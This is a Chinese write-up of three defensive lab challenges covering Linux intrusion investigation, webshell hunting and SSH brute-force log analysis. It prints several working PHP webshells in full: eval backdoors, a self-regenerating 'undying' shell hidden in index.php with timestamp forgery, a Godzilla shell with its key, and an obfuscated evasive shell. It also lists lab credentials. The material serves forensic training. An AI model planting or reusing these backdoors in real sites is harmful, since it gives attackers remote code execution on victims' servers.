Linux入侵排查
简介
账号:root 密码:linuxruqin
ssh root@IP
1.web目录存在木马,请找到木马的密码提交
2.服务器疑似存在不死马,请找到不死马的密码提交
3.不死马是通过哪个文件生成的,请提交文件名
4.黑客留下了木马文件,请找出黑客的服务器ip提交
5.黑客留下了木马文件,请找出黑客服务器开启的监端口提交
连接靶机,下载文件,然后用d盾扫一下,可以得到下面内容,前往查看

先查看.shell.php,由于是.开头的文件,所以需要ls -a才可以看到
内容如下
<?php if(md5($_POST["pass"])=="5d41402abc4b2a76b9719d911017c592"){@eval($_POST[cmd]);}?>
那么pass就是木马的密码了,爆破一下,可以得到pass是hello
接下来查看1.php,内容如下
<?php eval($_POST[1]);?>
简单粗暴的木马,这个木马的密码为1
再看index.php,内容如下
<?php
include('config.php');
include(SYS_ROOT.INC.'common.php');
$path=$_SERVER['PATH_INFO'].($_SERVER['QUERY_STRING']?'?'.str_replace('?','',$_SERVER['QUERY_STRING']):'');
if(substr($path, 0,1)=='/'){
$path=substr($path,1);
}
$path = Base::safeword($path);
$ctrl=isset($_GET['action'])?$_GET['action']:'run';
if(isset($_GET['createprocess']))
{
Index::createhtml(isset($_GET['id'])?$_GET['id']:0,$_GET['cat'],$_GET['single']);
}else{
Index::run($path);
}
$file = '/var/www/html/.shell.php';
$code = '<?php if(md5($_POST["pass"])=="5d41402abc4b2a76b9719d911017c592"){@eval($_POST[cmd]);}?>';
file_put_contents($file, $code);
system('touch -m -d "2021-01-01 00:00:01" .shell.php');
usleep(3000);
?>
发现.shell.php是由该代码中的内容生成的,那么可以判断.shell.php是不死马所以第三个问题的答案是index.php
在系统日志里查看是否有写入或修改文件的操作,并未找到

尝试运行shell(1).elf可执行文件,发现权限不够,对其进行加权后运行

成功运行后再开一个终端进行监听
netstat -antlp | more

可以发现该文件在给10.11.55.21:3333发送数据,由此可以得到黑客的服务器的ip以及开放的端口
webshell查杀
简介
靶机账号密码 root xjwebshell
1.黑客webshell里面的flag flag{xxxxx-xxxx-xxxx-xxxx-xxxx}
2.黑客使用的什么工具的shell github地址的md5 flag{md5}
3.黑客隐藏shell的完整路径的md5 flag{md5} 注 : /xxx/xxx/xxx/xxx/xxx.xxx
4.黑客免杀马完整路径 md5 flag{md5}
将/var/www/html下载后丢到D盾里扫一下,得到内容如下

先看shell.php,内容如下
<?php phpinfo();@eval($_REQUEST[1]);?>
是个普通木马,下一个
以下是gz.php的内容
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
//027ccd04-5065-48b6-a32d-77c704a5e26d
$payloadName='payload';
$key='3c6e0b8a9c15224a';
$data=file_get_contents("php://input");
if ($data!==false){
$data=encode($data,$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
}
eval($payload);
echo encode(@run($data),$key);
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}
典型的哥斯拉webshell,可以得到题目要求的两个flag
027ccd04-5065-48b6-a32d-77c704a5e26d
md5('https://github.com/BeichenDream/Godzilla')
接下来看top.php,内容如下
<?php
$key = "password";
//ERsDHgEUC1hI
$fun = base64_decode($_GET['func']);
for($i=0;$i<strlen($fun);$i++){
$fun[$i] = $fun[$i]^$key[$i+1&7];
}
$a = "a";
$s = "s";
$c=$a.$s.$_GET["func2"];
$c($fun);
分析可知这是一个免杀马,不过免杀马一般来说用工具是检测不到的,这里讲一下如何手动排查
先cd到/var/log下,ls后可以得知该服务器使用的是apache2,进入后查看access.log日志文件,检查流量

可以看到有向top.php发送敏感内容的流量,前往查看对应文件,可以得知是免杀马问题4也解决了,接下来是隐藏shell的路径,那么就是.开头的文件的路径即.Mysqli.php的路径
Linux日志分析
简介
账号root密码linuxrz
ssh root@IP
1.有多少IP在爆破主机ssh的root帐号,如果有多个使用","分割
2.ssh爆破成功登陆的IP是多少,如果有多个使用","分割
3.爆破用户名字典是什么?如果有多个使用","分割
4.登陆成功的IP共爆破了多少次
5.黑客登陆主机后新建了一个后门用户,用户名是多少
要知道有多少ip在爆破,那么直接查看和登录相关的日志文件就可以了,使用如下指令
cat auth.log.1 auth.log | awk '{print $11}' | sort | uniq -c
和登录相关的日志文件有auth.log.1和auth.log,linux中当auth.log这个日志写满后会将其重新命名为auth.log.1,并创建一个新的auth.log进行日志写入操作(日志轮转),此处将两个日志文件进行了合并,然后使用awk提取第十一个字段(大部分日志文件中ip所在的字段,不一定,需要根据实际情况修改),sort则是实现了排序,uniq是删除重复的行(合并相同的ip)然后通过*-c**参数统计出现次数
运行结果如下

可以看到192.168.200.2这个ip进行了多次登录,处于同一网段下的还有192.168.200.31和192.168.200.32,那么基本可以确定这三个就是在进行爆破登录的ip了。
接下来是要找爆破成功的ip,那么修改一下前面的指令,用grep筛选出含有Accepted字段的记录即可,指令及结果如下
cat auth.log.1 auth.log | grep -a "Accepted"| awk '{print $11}' | sort | uniq -c

得到两个ip,第一个为正常登录ip,第二个则是之前得到的爆破ssh登录的ip之一,那么这个就是爆破登录成功的ip了
再看第三个要求是得到爆破的用户名字典,在登录日志中,登录失败的记录往往为Failed password for XXX(尝试登录使用的用户名) from X.X.X.X(IP地址),所以我们可以先用grep筛选出登录失败的记录,然后用perl匹配返回for和from之间的内容(用户名),如果是不存在的用户的话用户名之前还会有invalid user,具体指令和运行结果如下
cat auth.log.1 auth.log | grep -a "Failed password" |perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'| sort | uniq -c

得到爆破字典
第四个问题是查看登录成功的ip爆破了多少次,那么直接在第一个问题使用的指令中筛选一下登录失败的记录就行了
cat auth.log.1 auth.log | grep -a "Failed password for root from" | grep -a "192.168.200.2" | awk '{print $11}' | sort | uniq -c

第五个问题是要找出新创建的后门用户,直接grep找new user即可
cat auth.log.1 auth.log |grep -a "new user"

得到test2用户



3480

被折叠的 条评论
为什么被折叠?



